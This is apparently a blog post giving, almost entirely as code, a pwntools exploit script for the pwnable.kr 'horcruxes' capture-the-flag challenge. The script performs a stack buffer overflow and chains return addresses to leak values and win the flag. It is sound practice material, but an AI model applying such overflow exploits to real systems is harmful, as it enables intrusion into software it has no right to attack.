[Toddler's Bottle]-horcruxes

2018-12-10  本文已影响0人  2mpossible

exp:

#apt-get install libseccomp-dev:i386
from pwn import *

context.log_level = 'debug'

#p = process('./horcruxes')
p = remote('0',9032)

sum = 0

def cal(addr):
    global sum
    p.recvuntil('Menu:')
    p.sendline('1')
    p.recvuntil('earned? : ')
    payload = 'a'*0x74 + 'bbbb' + p32(addr) + p32(0x0809FFFC)
    p.sendline(payload)
    p.recvuntil('EXP +')
    num = int(p.recvuntil(')\n',drop = True))
    sum += num




printf_a = 0x0809FE4B
printf_b = 0x0809FE6A
printf_c = 0x0809FE89
printf_d = 0x0809FEA8
printf_e = 0x0809FEC7
printf_f = 0x0809FEE6
printf_g = 0x0809FF05
 

cal(printf_a)
cal(printf_b)
cal(printf_c)
cal(printf_d)
cal(printf_e)
cal(printf_f)
cal(printf_g)

#gdb.attach(p,'b *0x080A00F8')
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(sum))


p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读